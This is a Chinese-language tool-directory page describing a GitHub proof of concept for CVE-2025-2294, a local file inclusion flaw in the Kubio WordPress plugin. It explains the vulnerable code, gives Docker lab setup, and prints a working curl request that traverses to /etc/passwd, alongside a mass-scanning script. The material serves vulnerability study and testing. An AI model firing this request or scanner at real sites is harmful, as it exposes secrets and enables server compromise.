Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/iteride/cve-2025-2294
Web漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubiteride/cve-2025-2294

CVE-2025-2294

针对 CVE-2025-2294 的概念验证利用,这是一个影响 Kubio AI Page Builder for WordPress 的关键 LFI 漏洞。包含一个 Python 扫描器、nuclei 模板以及用于测试的 Docker 实验室。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2294

简介

CVE-2025-2294 是 WordPress 的 Kubio AI Page Builder 插件中的一个本地文件包含(LFI)类型的关键漏洞。该漏洞允许未经身份验证的远程攻击者传递一个特制参数,导致插件可以包含服务器上的任意文件;如果包含的是可执行的 PHP 文件,则可能导致远程代码执行(RCE)。

  • 受影响版本: 所有插件版本 ≤ 2.5.1。
  • CVSS v3.1: 9.8(严重)。

报告目的

  1. 系统整理现有资料并解释漏洞的本质。
  2. 审查漏洞生效的条件和配置。
  3. 展示检测方法和防护建议(不含逐步 PoC)。
  4. 提供缓解和修复建议。

CPE / 标识

  • 插件标识: kubio
  • 路径: /wp-content/plugins/kubio/
  • 供应商: ExtendThemes / Kubio
  • CPE(示例): cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*

CWE: CWE-22 — 对受限目录的路径名限制不当(路径遍历)。


利用条件

  • Kubio 插件已安装并激活在网站上。
  • 版本 ≤ 2.5.1(未修补)。
  • 存在一个公开的 HTTP(S) 端点,接受参数 __kubio-site-edit-iframe-classic-template。
  • (对于 RCE)系统中必须存在可包含的 PHP 文件或其他可执行代码路径(例如,通过其他组件的漏洞或错误权限)。

影响

  • 读取包含机密的文件(例如 wp-config.php、私钥、日志)。
  • 可能上传/执行任意代码、修改内容或植入后门。
  • 服务器被攻陷,可能导致网站运行异常、数据删除/加密。
  • 由于插件广泛使用以及公开 PoC/扫描工具的出现,风险规模增大。

技术细节

漏洞代码与函数 kubio_hybrid_theme_load_template() 相关,该函数访问全局数组 $_REQUEST:

root@kitploit:~
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}

代码功能:

  1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — 直接从全局输入数据中取值($_REQUEST 结合了 $_GET、$_POST、$_COOKIE)。这意味着参数可被远程控制。
  2. 如果参数存在($template_id 为真),代码调用 locate_template([$template_id])。
  3. locate_template() 是 WordPress 工具(或插件中的类似功能),用于根据传入的相对路径/名称查找模板。在正常场景中,预期会传入安全模板目录内的文件名,例如 header.php 或 template-parts/content.php。
  4. 然后使用返回值($new_template)——在原始实现中,这可能导致 include/require 找到的路径,或者将该路径传递出去用于输出。这造成了 LFI 的可能性:攻击者可以指定任意文件的路径。

本地运行

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
  • 进入 Docker 容器:
root@kitploit:~
docker exec -it <WORDPRESS_DOCKER_ID> bash
  • 下载并启动 kubio

解压后,请访问 http://localhost:8080/wp-admin/plugins.php 并激活插件

root@kitploit:~
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio

POC/Exploit

root@kitploit:~
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

lfi

__kubio-site-edit-iframe-classic-template=<path>

该参数传递一个字符串,插件将其用作模板标识符/路径。

在漏洞代码片段中,该值从 $_REQUEST 中获取并传递给 locate_template(),未经任何规范化或限制。结果可能导致 路径遍历:如果值中插入 ../ 序列,最终路径可能超出预期的模板目录,指向文件系统上的任意文件(包括 /etc/passwd)。

正是这个参数携带了攻击的有效载荷——攻击者通过它指定目标文件。

__kubio-site-edit-iframe-preview=1

这是一个辅助标志(预览模式/iframe 编辑模式)。它将请求处理切换到读取并使用由 __kubio-site-edit-iframe-classic-template 指定的模板的代码分支。

如果没有 preview=1,插件可能不会处理 classic-template 参数或使用其他逻辑;加上 preview=1 后,启用了允许读取并返回模板的逻辑,从而使利用成为可能。


nuclei 模板

1. 被动模板

  • 通过文件 /wp-content/plugins/kubio/readme.txt 检查插件版本。

passive

2. 主动模板

  • 检查 /etc/passwd 的输出

active


脚本

该脚本检查 /etc/passwd 的输出,由于多线程,速度比 nuclei 快数倍,并且支持同时扫描多个主机。

root@kitploit:~
python3 scan.py --target http://localhost:8080

scan

下载工具